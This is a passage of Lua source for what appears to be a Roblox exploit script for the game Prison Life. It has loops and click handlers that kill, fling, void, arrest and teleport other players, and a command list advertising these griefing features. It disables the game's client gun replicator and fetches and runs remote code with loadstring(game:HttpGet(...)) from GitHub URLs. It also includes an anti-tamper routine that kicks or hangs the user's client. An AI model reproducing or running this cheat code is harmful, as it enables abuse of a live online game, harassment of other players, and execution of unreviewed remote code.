if v.Character then
local VHead = v.Character:FindFirstChild("Head")
for _, Targets in pairs(Players:GetPlayers()) do
if Targets ~= v and Targets.Character and not
Targets.Character:FindFirstChildWhichIsA("ForceField") and
Targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local THead = Targets.Character:FindFirstChild("Head")
if VHead and THead and CheckWhitelist(Targets) and
Targets ~= LocalPlayer then
if (THead.Position - VHead.Position).Magnitude <=
Settings.KillauraThreshold then
KillPlayers[#KillPlayers + 1] = Targets
end
end
end
end
end
end
end
if next(Powers.Antitouch) then
for i, v in next, Powers.Antitouch do
if v.Character and
v.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local VPart = v.Character:FindFirstChildWhichIsA("BasePart")
for _, Targets in pairs(Players:GetPlayers()) do
if Targets ~= v and Targets.Character and not
Targets.Character:FindFirstChildWhichIsA("ForceField") and
Targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local TPart =
Targets.Character:FindFirstChildWhichIsA("BasePart")
if VPart and TPart and CheckWhitelist(Targets) and
Targets ~= LocalPlayer then
if (TPart.Position - VPart.Position).Magnitude <=
2.5 then
KillPlayers[#KillPlayers + 1] = Targets
end
end
end
end
end
end
end
if next(Powers.Antiarrest) then
for i, v in next, Powers.Antiarrest do
if v.Character and v.TeamColor.Name ~= "Bright blue" then
local VPart = v.Character:FindFirstChild("Head")
for _, Cunts in pairs(Teams.Guards:GetPlayers()) do
if Cunts.Character and
Cunts.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 and Cunts ~=
LocalPlayer and CheckWhitelist(Cunts) then
local CPart = Cunts.Character and
Cunts.Character:FindFirstChild("Head")
if VPart and CPart then
if Cunts.Character:FindFirstChild("Handcuffs") and
(CPart.Position - VPart.Position).Magnitude < 20 or
Cunts.Character:FindFirstChild("Taser") and (CPart.Position -
VPart.Position).Magnitude < 30 then
KillPlayers[#KillPlayers + 1] = Cunts
end
end
end
end
end
end
end
if next(Powers.Antipunch) then
for i, v in next, Powers.Antipunch do
if v.Character then
local VPart = v.Character:FindFirstChildWhichIsA("BasePart")
for _, Hostiles in pairs(Players:GetPlayers()) do
if Hostiles ~= v and Hostiles.Character and not
Hostiles.Character:FindFirstChildWhichIsA("ForceField") and
Hostiles.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local HPart =
Hostiles.Character:FindFirstChildWhichIsA("BasePart")
if VPart and HPart and CheckWhitelist(Hostiles) and
Hostiles ~= LocalPlayer then
if (HPart.Position - VPart.Position).Magnitude <= 4
then
for _, tracks in
ipairs(Hostiles.Character:FindFirstChild("Humanoid"):GetPlayingAnimationTracks())
do
if table.find(Saved.HostileAnimations,
tracks.Animation.AnimationId) then
KillPlayers[#KillPlayers + 1] =
Hostiles
break
end
end
end
end
end
end
end
end
end
if next(Powers.Onepunch) then
for i, v in next, Powers.Onepunch do
if v.Character then
local waspunching = nil
for _, tracks in
ipairs(v.Character:FindFirstChildOfClass("Humanoid"):GetPlayingAnimationTracks())
do
if tracks.Animation.AnimationId == "rbxassetid://484200742"
or tracks.Animation.AnimationId == "rbxassetid://484926359" then
waspunching = true
break
end
end
if waspunching then
local VPart =
v.Character:FindFirstChildWhichIsA("BasePart")
for _, targets in pairs(Players:GetPlayers()) do
if targets ~= v and targets.Character and
targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 and not
targets.Character:FindFirstChildWhichIsA("ForceField") then
local TPart =
targets.Character:FindFirstChildWhichIsA("BasePart")
if VPart and TPart and CheckWhitelist(targets) and
targets ~= LocalPlayer then
if (VPart.Position - TPart.Position).Magnitude
<= 3 then
KillPlayers[#KillPlayers + 1] = targets
break
end
end
end
end
end
end
end
end
if next(Powers.Punchaura) then
for i, v in next, Powers.Punchaura do
if v.Character then
local waspunching = nil
for _, track in
ipairs(v.Character:FindFirstChild("Humanoid"):GetPlayingAnimationTracks()) do
if track.Animation.AnimationId == "rbxassetid://484200742"
or track.Animation.AnimationId == "rbxassetid://484926359" then
waspunching = true
break
end
end
if waspunching then
local VHead = v.Character:FindFirstChild("Head")
for _, Victims in pairs(Players:GetPlayers()) do
if Victims ~= v and Victims.Character and not
Victims.Character:FindFirstChildWhichIsA("ForceField") and
Victims.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local VTHead =
Victims.Character:FindFirstChild("Head")
if VTHead and VHead and CheckWhitelist(Victims) and
Victims ~= LocalPlayer then
if (VTHead.Position - VHead.Position).Magnitude
<= 16 then
if Powers.Onepunch[v.UserId] then
KillPlayers[#KillPlayers + 1] = Victims
else
if not SavedArgs.PauraDebounce then
SavedArgs.PauraDebounce = true
task.delay(1, function()
SavedArgs.PauraDebounce = nil
end)
KillPL(Victims, 1, false)
end
end
end
end
end
end
end
end
end
end
if next(KillPlayers) then
TableKill(KillPlayers)
end
KillPlayers = nil
end
while task.wait() do
pcall(task0)
if Unloaded then
break
end
end
end)
--Loops (Teleport)
task.spawn(function()
local task0 = function()
if Loops.MeleeTeams.All then
for i, v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or
v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.MeleeLK
MeleeKill(v, false)
end
if not Loops.MeleeTeams.All then
break
end
end
end
else
if next(Loops.MeleeKill) then
for i, v in next, Loops.MeleeKill do
if v.Character and v.Character:FindFirstChild("Humanoid") then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or
v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.MeleeLK
MeleeKill(v)
end
end
end
end
if Loops.MeleeTeams.Inmates then
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or
v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.MeleeLK
MeleeKill(v, false)
end
end
if not Loops.MeleeTeams.Inmates then
break
end
end
end
if Loops.MeleeTeams.Guards then
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or
v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.MeleeLK
MeleeKill(v, false)
end
end
if not Loops.MeleeTeams.Guards then
break
end
end
end
if Loops.MeleeTeams.Criminals then
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or
v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.MeleeLK
MeleeKill(v, false)
end
end
if not Loops.MeleeTeams.Criminals then
break
end
end
end
if Loops.MeleeTeams.Neutrals then
for i, v in pairs(Teams.Neutral:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or
v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.MeleeLK
MeleeKill(v, false)
end
end
if not Loops.MeleeTeams.Neutrals then
break
end
end
end
end
if SavedPositions.MeleeLK then
LocTP(SavedPositions.MeleeLK)
SavedPositions.MeleeLK = nil
end
if next(Loops.Fling) then
for i, v in next, Loops.Fling do
if v.Character and v.Character:FindFirstChild("HumanoidRootPart")
and v ~= LocalPlayer then
if not (v.Character:FindFirstChild("Humanoid").Health == 0 or
v.TeamColor == BrickColor.new("Medium stone grey")) and not
(v.Character:FindFirstChild("Head").Position.Y > 699 or
v.Character:FindFirstChild("Head").Position.Y < 1) then
FlingPL(v)
end
end
end
end
if next(Loops.MakeCrim) then
for i, v in next, Loops.MakeCrim do
if v.Character and v.TeamColor.Name ~= "Really red" then
if not (v.Character:FindFirstChild("Humanoid").Health == 0 or
v.TeamColor == BrickColor.new("Medium stone grey")) then
if v ~= LocalPlayer then
SavedPositions.LoopMakeCrim = not
SavedPositions.LoopMakeCrim and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.LoopMakeCrim
MakeCrim(v)
else
TeamTo("criminal")
end
end
end
end
if SavedPositions.LoopMakeCrim then
LAction("unsit", true)
LocTP(SavedPositions.LoopMakeCrim)
SavedPositions.LoopMakeCrim = nil
end
end
if next(Loops.Arrest) then
for i, v in next, Loops.Arrest do
if v.Character and not
(v.Character:FindFirstChild("Humanoid").Health == 0 or
v.Character.Head:FindFirstChild("handcuffedGui")) then
if v.TeamColor == BrickColor.new("Really red") or (v.TeamColor
== BrickColor.new("Bright orange") and GetIllegalReg(v)) then
ArrestPL(v, true, false)
elseif v.TeamColor.Name ~= "Medium stone grey" then
MakeCrim(v, true, false, true)
end
end
end
end
if Loops.ArrestTeams.Inmate then
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v.Character and not
(v.Character:FindFirstChild("Humanoid").Health == 0 or
v.Character.Head:FindFirstChild("handcuffedGui")) then
SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.ArrestTeams
if GetIllegalReg(v) then
ArrestPL(v, false, false)
else
MakeCrim(v, false, false, true)
end
end
end
end
if Loops.ArrestTeams.Criminal then
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v.Character and not
(v.Character:FindFirstChild("Humanoid").Health == 0 or
v.Character.Head:FindFirstChild("handcuffedGui")) then
SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.ArrestTeams
ArrestPL(v, false)
end
end
end
if Loops.ArrestTeams.Guard then
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v.Character and v.Character:FindFirstChild("Humanoid").Health ~=
0 then
SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.ArrestTeams
MakeCrim(v, false, false, true)
end
end
end
if SavedPositions.ArrestTeams then
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LAction("unsit", true)
end
LocTP(SavedPositions.ArrestTeams)
SavedPositions.ArrestTeams = nil
end
if Loops.AutoArresting.All then
for i, v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) and
v.Character:FindFirstChild("Humanoid").Health ~= 0 then
if not v.Character.Head:FindFirstChild("handcuffedGui") then
if (v.TeamColor == BrickColor.new("Bright orange") and
GetIllegalReg(v)) or v.TeamColor == BrickColor.new("Really red") then
SavedPositions.AutoArresting = not
SavedPositions.AutoArresting and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.AutoArresting
ArrestPL(v, false, false)
end
end
end
end
else
if next(Loops.AutoArresting.Plr) then
for i, v in next, Loops.AutoArresting.Plr do
if v.Character and not (v == LocalPlayer or
v.Character:FindFirstChild("Humanoid").Health == 0) and CheckWhitelist(v) then
if not v.Character.Head:FindFirstChild("handcuffedGui")
then
if (v.TeamColor == BrickColor.new("Bright orange") and
GetIllegalReg(v)) or v.TeamColor == BrickColor.new("Really red") then
SavedPositions.AutoArresting = not
SavedPositions.AutoArresting and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.AutoArresting
ArrestPL(v, false, false)
end
end
end
end
end
end
if SavedPositions.AutoArresting then
LocTP(SavedPositions.AutoArresting)
SavedPositions.AutoArresting = nil
end
if next(Loops.VoidKill) then
for i, v in next, Loops.VoidKill do
if v.Character and v.Character:FindFirstChild("Head").Position.Y >
1 and v.Character:FindFirstChild("Humanoid").Health ~= 0 and v.TeamColor.Name ~=
"Medium stone grey" and not v.Character.Humanoid.Sit then
if States.AntiVoid then
task.delay(8, function()
States.AntiVoid = true
end)
States.AntiVoid = false
end
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
BringPL(v, CFrame.new(0, -320, 0), true, true)
wait(0.2)
LAction("unsit", true)
LocTP(CFrame.new(-190.722427, 54.774929, 1880.20374,
0.007893865, 6.46408438e-08, 0.999968827, -3.42371038e-08, 1, -6.43725926e-08, -
0.999968827, -3.37278863e-08, 0.007893865))
RTPing()
RTPing()
RTPing()
RTPing()
LocTP(tempos)
end
end
end
if next(Loops.Trapped) then
for i, v in next, Loops.Trapped do
if v.Character and not
(v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Humanoid.Sit or
v.TeamColor.Name == "Medium stone grey") then
if v.Character:FindFirstChild("HumanoidRootPart") and
(v.Character.HumanoidRootPart.Position - Teleports.trapbuilding.Position).Magnitude
> 90 then
SavedPositions.TrapPlayerPos = not
SavedPositions.TrapPlayerPos and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or
SavedPositions.TrapPlayerPos
BringPL(v, Teleports.trapbuilding, true)
end
end
end
if SavedPositions.TrapPlayerPos then
wait(0.2)
LAction("unsit", true)
LocTP(SavedPositions.TrapPlayerPos)
SavedPositions.TrapPlayerPos = nil
end
end
if next(Loops.Voided) then
for i, v in next, Loops.Voided do
if v.Character and not
(v.Character:FindFirstChildOfClass("Humanoid").Health == 0 or
v.Character:FindFirstChild("Humanoid").Sit or v.TeamColor.Name == "Medium stone
grey") then
if v.Character:FindFirstChild("Head") and
v.Character.Head.Position.Y < 699 then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
BringPL(v, CFrame.new(0, 9e9, 0), true, true)
wait(0.2)
Tasks.Refresh(nil, tempos)
end
end
end
end
if next(Loops.PunchKill) then
for i, v in next, Loops.PunchKill do
if v.Character and not
(v.Character:FindFirstChildWhichIsA("ForceField") or
v.Character:FindFirstChild("Humanoid").Health == 0) then
PunchKill(v, 0.1)
end
end
end
if next(Loops.CarFling) then
for i, v in next, Loops.CarFling do
if v.Character then
if not (v.TeamColor == BrickColor.new("Medium stone grey") or
v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Humanoid.Sit) and
v.Character:FindFirstChild("Head").Position.Y < 999 then
CarFlingPL(v)
end
end
end
end
end
while task.wait() do
pcall(task0)
if Unloaded then
break
end
end
end)
game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false)
end
pcall(task0)
if next(CmdQueue) then
if not SavedArgs.QueueExecuted then
SavedArgs.QueueExecuted = true
coroutine.wrap(function()
for i, execute in next, CmdQueue do
pcall(execute)
wait()
CmdQueue[i] = nil
table.remove(CmdQueue, i)
end
SavedArgs.QueueExecuted = nil
end)()
end
end
if Unloaded then
break
end
end
end)
--Stepped con
Connections.Stepped = Stepped:Connect(function()
if States.AntiVoid then
local lroot = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if lroot and lroot.Position.Y < 1 then
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LAction("unsit")
end
lroot.CFrame = CFrame.new(Vector3.new(lroot.Position.X, 169,
lroot.Position.Z), Vector3.new(lroot.Position.X, 169, lroot.Position.Z) +
lroot.CFrame.LookVector)
lroot.Velocity = Vector3.new()
deprint("Debug_IS ON VOID")
end
end
end)
--INIT
if game:GetService("Workspace"):FindFirstChild("Criminals Spawn") then
SavedPositions.Crimpad = workspace["Criminals Spawn"].SpawnLocation.CFrame
Saved.HostileAnimations = {
"rbxassetid://484200742",
"rbxassetid://484926359",
"rbxassetid://275012308",
"rbxassetid://218504594",
}
else
Notif("WARNING: Invalid Game Detected!", "The script will not function
correctly.", 6)
LocPL.WrongGame = true
Toggles.AutoRespawn = false
end
--Client Handler
coroutine.wrap(function()
if LocPL.WrongGame then
return
end
LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = true
local VirtualRayDebounce = false
local SoundS = game:GetService("SoundService")
Connections.VirtualRayHandler = Rstorage:WaitForChild("ReplicateEvent",
8).OnClientEvent:Connect(function(Tables)
if LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled and
States.ReplicateEvent and not Tables[69] then
local Counting = #Tables
if Counting < 69 and not VirtualRayDebounce then
VirtualRayDebounce = Counting > 30
if Tables[1].Cframe and Tables[1].Distance then
CreateClientRay(Tables)
end
if VirtualRayDebounce then
task.delay(0.6, function()
VirtualRayDebounce = false
end)
end
end
end
end)
Connections.VirtualSoundHandler = Rstorage:WaitForChild("SoundEvent",
8).OnClientEvent:Connect(function(sound)
if LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled and
States.ReplicateEvent then
SoundS.RespectFilteringEnabled = true
sound:Play()
SoundS.RespectFilteringEnabled = false
end
end)
Connections.VirtualWarnHandler = Rstorage:WaitForChild("WarnEvent",
8).OnClientEvent:Connect(function(Times)
if LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled then
if Times == 1 then
SysMessage("[WarnEvent]: This is your last warning. You will become
a prisoner if you kill an innocent player 1 more time.", Color3.fromRGB(255, 0, 0))
Notif("GUARD WARNING:", "Last warning: You will become inmates when
killing innocents 1 more time.", 5)
else
SysMessage("[WarnEvent]: Do not kill innocent people! You will be
arrested and jailed if you kill " .. tostring(Times) .. " more times.",
Color3.fromRGB(255, 0, 0))
Notif("GUARD WARNING:", "If you kill innocents " .. tostring(Times)
.. " more times, you will become prisoners.", 5)
end
end
end)
Connections.OnReplicated = Rstorage:WaitForChild("ReplicateEvent",
3).OnClientEvent:Connect(OnReplication)
end)()
Connections.LocalPlayerMouse =
LocalPlayer:GetMouse().Button1Down:Connect(function()
local Wifi = LocalPlayer:GetMouse().Target
if Wifi and Wifi:IsA("BasePart") and Players:FindFirstChild(Wifi.Parent.Name)
then
local GetWifi = Players:FindFirstChild(Wifi.Parent.Name)
if LocPL.ShittyExecutor and (Toggles.Oneshot or Toggles.FriendlyFire) then
local tool = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChildWhichIsA("Tool")
local gun = tool and tool.Name
if tool and tool:FindFirstChildOfClass("ModuleScript") then
if Toggles.FriendlyFire and gun ~= "Taser" then
if GetWifi.TeamColor == LocalPlayer.TeamColor then
if GetWifi.TeamColor == BrickColor.new("Bright orange")
then
TeamTo("criminal")
else
TeamTo("inmate")
Gun(gun)
Gun(gun)
Gun(gun)
LAction("equip",
LocalPlayer.Backpack:FindFirstChild(gun))
end
end
end
if Toggles.Oneshot then
if GetWifi.TeamColor ~= LocalPlayer.TeamColor then
if gun == "Taser" then
KillPL(GetWifi, false, "M9")
else
KillPL(GetWifi, false, gun)
end
end
end
end
end
if States.ClickBring then
if GetWifi.Character and not
(GetWifi.Character:FindFirstChildOfClass("Humanoid").Health == 0) then
BringPL(GetWifi, LocalPlayer)
end
end
if States.ClickTase then
if not (GetWifi.TeamColor == BrickColor.new("Bright blue")) then
TasePL(GetWifi)
end
end
if States.ClickArrest then
local WHead, LHead = GetWifi.Character.Head, LocalPlayer.Character.Head
if WHead and LHead then
if (WHead.Position - LHead.Position).Magnitude <= 15 then
ArrestEve(GetWifi, true)
elseif not (GetWifi.TeamColor == BrickColor.new("Bright blue"))
then
ArrestPL(GetWifi, true)
end
end
end
if States.ClickFling then
if GetWifi.Character and not
(GetWifi.Character:FindFirstChildOfClass("Humanoid").Health == 0) then
FlingPL(GetWifi)
end
end
if States.ClickKill then
if CheckWhitelist(GetWifi) then
if GetWifi.Character and not
(GetWifi.Character:FindFirstChildOfClass("Humanoid").Health == 0) then
KillPL(GetWifi)
end
else
Notif("Click-Kill", "This player is whitelisted!")
end
end
if States.ClickGoto then
LocTP(GetWifi.Character.Head.CFrame)
end
if States.ClickTeam then
local n = GetWifi.TeamColor ~= LocalPlayer.TeamColor and
GetWifi.TeamColor.Name
if n == "Really red" then
TeamTo("criminal")
elseif n == "Bright blue" then
TeamTo("guard")
elseif n == "Bright orange" then
TeamTo("inmate")
end
end
end
end)
--Startup
task.delay(0, function()
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid") and
LocalPlayer.Character.Humanoid.Health == 0 then
task.spawn(ondiedevent)
else
task.spawn(oncharadded)
end
LocPL.UID = tonumber((LocalPlayer.CharacterAppearance):split("=")
[#((LocalPlayer.CharacterAppearance):split("="))])
LocPL.UIN = LocalPlayer.Character.Name
pcall(function()
Saved.Listing =
loadstring(game:HttpGet("https://gist.githubusercontent.com/elliexmln/
7fb5f0bbd68e4170968298bbe4e83309/raw"))()
end)
if LocalPlayer.UserId ~= LocPL.UID or LocalPlayer.Name ~= LocPL.UIN or not
(Saved.Listing and next(Saved.Listing)) then
task.delay(1, function()
LocalPlayer:Destroy()
end)
task.delay(2, function()
repeat
while true do
end
until nil
end)
local a, b = pcall(function()
LocalPlayer:Kick("Invalid")
end)
if not a then
while true do
end
end
end
local set = PLadmin_Settings
if set and next(set) then
Settings.JoinNotify = set.JoinNotify
Toggles.AutoRespawn = set.AutoRespawn
States.AntiVoid = set.AntiVoid
Toggles.AntiTase = set.AntiTase
Toggles.AntiArrest = set.AntiArrest
Toggles.Antishoot = set.AntiShoot
Toggles.AntiPunch = set.AntiPunch
States.AntiFling = set.AntiFling
Toggles.AntiShield = set.AntiShield
Toggles.Silentaim = set.SilentAim
Toggles.AutoGuns = set.AutoGuns
Settings.User.OldItemMethod = set.OldItemMethod
Settings.Ranked.AutoWhitelist = set.WhitelistRanked
Settings.Ranked.Nuke = set.RankedNukeCmds
Settings.Ranked.MultiCmd = set.RankedMultiCmd
Settings.Ranked.Output = set.RankedOutput
Settings.Ranked.WhisperMode = set.WhisperToRanked
SavedArgs.UseMobileGui = set.Force_isMobile
States.Fullbright = set.Fullbright
Toggles.AntiBring = set.AntiBring
Prefix = set.DefaultPrefix or Prefix
Settings.PrintDebug = set.PrintDebug or Settings.PrintDebug
else
warn("Tamper/ShittyExecutor detected")
end
set = nil
for _, tasking in pairs(Threads) do
tasking()
end
local ne, Notif, NewToggleList, Settings, Saved, States, Toggles
local TPrefix = PLadmin_Settings and tostring(PLadmin_Settings.DefaultPrefix)
or "?"
ne("Invite: discord.gg/EjVQCdH6W6", "If you accidentally lose the gui, type
/revert in chat", false)
ne("prefix [Prefix]", "Changes prefix (Default set to " .. TPrefix .. ")",
false) --V
ne("KILL CMDS", false, true) --KILL CMDS
ne("kill / oof / die [plr,random,team,all]", "Kills selected player(s)", false)
--V
ne("meleekill / mkill [plr,random,team,all]", "Kills selected player(s) using
meleeEvent(s)", false) --V
ne("hkill / hmk [plr,random,team,all]", "meleekill but hidden underground so no
one can see it", false) --V
ne("punchkill / pkill [plr,random,team,all] [interval]", "Kills player(s) by
punching them to death", false) --V, wow what a very useful command!
ne("voidkill / vkill [plr,random]", "Kills player by teleporting them under the
void", false) --V
ne("damage / dmg [plr,random,all] [dmg=1-10]", "Self explanatory, going higher
may crash server!", false) --V
ne("shootkill / skill [plr,random,team,all]", "Shoots selected player(s) and
kills them", false) --V
ne("loopkill / lk [plr,team,all]", "Loops killing player(s)", false) --V
ne("unloopkill / unlk [plr,team,all]", "Stops loop-killing player(s)", false)
--V
ne("meleelk / mlk [plr,random,hostiles,team,all]", "Melee-loopkills player(s)",
false) --V
ne("unmeleelk / unmlk [plr,hostiles,team,all]", "Stops melee-killing
player(s)", false) --V
ne("lpunchkill / lpkill [plr,random,team,all]", "Loops punch-kill a selected
player(s)", false) --V
ne("unlpunchkill / unlpkill [plr,all]", "Stops punch-killing player(s)", false)
--V
ne("lvoidkill / lvkill / lvk [plr,random]", "Loop void-kill player.", false) --
V
ne("unlvoidkill / unlvkill / unlvk [plr,all]", "Stop loop-void killing
player(s)", false) --V
ne("randomkill / rkill [plr,random,team,all]", "Randomly kill selected
player(s)", false) --V
ne("unrandomkill / unrkill [plr,all]", "Stop randomly killing player(s)",
false) --V
ne("shootlk / slk [plr,team,random,all]", "Repeatedly shoot-kill player(s)",
false) --V
ne("unshootlk / unslk [plr,all]", "Stop repeatedly shoot-killing player(s)",
false) --V
ne("killaura / kaura [plr,random]", "Other player(s) near the selected player
dies", false) --V
ne("virus / killtouch [plr,random,all]", "Other player(s) who touches the
selected player dies", false) --V
ne("unkillaura / unkaura [plr,all]", "Removes killaura(s) from player(s)",
false) --V
ne("unvirus / unkilltouch [plr,all]", "Removes antitouch from player(s)",
false) --V
ne("tkillaura / tka [team,enemies]", "Killaura but only for a selected team(s),
uses meleeEvent(s)", false) --V
ne("untkillaura / untka [team,enemies,all]", "Stops killaura to selected
team(s)", false) --V
ne("meleeaura / maura [boolean]", "Killaura but using meleeEvent(s)", false) --
V
ne("meleetouch / mtouch [boolean]", "Killtouch but using meleeEvent(s)", false)
--V
ne("launchnuke / lnuke [plr,random] [radius] [time]", "Launch a nuke near a
player with radius", false) --V
ne("deathnuke / dnuke [plr,random]", "If that selected player dies, everyone
dies", false) --V
ne("undeathnuke / undnuke [plr,all]", "Removes deathnuke", false) --V
ne("detroit / ohio", "If a player dies, everyone dies.", false) --V
ne("undetroit / unohio", "Stop ohio mode", false) --V
ne("autokill / akill [hostile,shielduser,handcuffer,taser]", "Automatically
kill SPECIFIC player(s)", false) --V
ne("unautokill / unakill [hostile,shielduser,handcuffer,taser,all]", "Stops
automatically killing players accordingly", false) --V
ne("lpunch", "Teleport to players and punch them for no reason", false) --V
ne("unlpunch", "Stop punching players for no reason", false) --V
Saved.PLINIT = Instance.new("ScreenGui")
Saved.PLINIT.Name = "PLADMIN_INITIALS"
Saved.PLINIT.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
Saved.PLINIT.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
local data1, data2 =
loadstring(game:HttpGet("https://raw.githubusercontent.com/elliexmln/PrizzLife/
main/Init/PL_TEAM_GUI"))()
local TEAMs = data2
Saved.TeamFrame = data1
TEAMs.InmateButton.MouseButton1Click:Connect(function()
SavedPositions.AutoRe = nil
workspace.Remote.TeamEvent:FireServer("Bright orange")
end)
TEAMs.GuardButton.MouseButton1Click:Connect(function()
SavedPositions.AutoRe = nil
workspace.Remote.TeamEvent:FireServer("Bright blue")
if #Teams.Guards:GetPlayers() > 7 then
Notif("Cannot join team.", "Guards team is full!", 6)
end
end)
TEAMs.CriminalButton.MouseButton1Click:Connect(function()
local crimpad = workspace["Criminals Spawn"].SpawnLocation.CFrame
SavedPositions.AutoRe = nil
workspace.Remote.TeamEvent:FireServer("Bright orange")
LocalPlayer.CharacterAdded:Wait()
for i = 1, 10 do
waitfor(LocalPlayer.Character, "HumanoidRootPart").CFrame = crimpad
end
end)
Connections.TeamChange =
LocalPlayer:GetPropertyChangedSignal("Team"):Connect(function()
if LocalPlayer.TeamColor == BrickColor.new("Medium stone grey") then
Saved.TeamFrame.Visible = true
Threads.HideTeamGui()
else
Saved.TeamFrame.Visible = false
end
end)
data1.Visible = LocalPlayer.TeamColor.Name == "Medium stone grey"
local ACTIONFR = Instance.new("Frame")
local ActionFrame = ACTIONFR
local PunchButton = Instance.new("ImageButton")
local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")
local CrawlButton = Instance.new("ImageButton")
local UIAspectRatioConstraint_2 = Instance.new("UIAspectRatioConstraint")
local RunButton = Instance.new("ImageButton")
local UIAspectRatioConstraint_3 = Instance.new("UIAspectRatioConstraint")
local UIAspectRatioConstraint_4 = Instance.new("UIAspectRatioConstraint")
ActionFrame.Name = "ActionFrame"
ActionFrame.Parent =
game.Players.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("PLADMIN_INITIALS",
69)
ActionFrame.AnchorPoint = Vector2.new(0.5, 0.5)
ActionFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
ActionFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
ActionFrame.BorderSizePixel = 0
ActionFrame.Position = UDim2.new(0.949999988, 0, 0.400000006, 0)
ActionFrame.Size = UDim2.new(0.0841514692, 0, 0.376044571, 0)
PunchButton.Name = "PunchButton"
PunchButton.Parent = ActionFrame
PunchButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
PunchButton.BackgroundTransparency = 0.650
PunchButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
PunchButton.BorderSizePixel = 0
PunchButton.Size = UDim2.new(1, 0, 0.325925916, 0)
PunchButton.Image = "http://www.roblox.com/asset/?id=7651229347" --Yes, random
gta sa fist icon
UIAspectRatioConstraint.Parent = PunchButton
UIAspectRatioConstraint.AspectRatio = 1.364
CrawlButton.Name = "CrawlButton"
CrawlButton.Parent = ActionFrame
CrawlButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
CrawlButton.BackgroundTransparency = 0.650
CrawlButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
CrawlButton.BorderSizePixel = 0
CrawlButton.Position = UDim2.new(0, 0, 0.330000013, 0)
CrawlButton.Size = UDim2.new(1, 0, 0.325925916, 0)
CrawlButton.Image = "http://www.roblox.com/asset/?id=6925323189"
UIAspectRatioConstraint_2.Parent = CrawlButton
UIAspectRatioConstraint_2.AspectRatio = 1.364
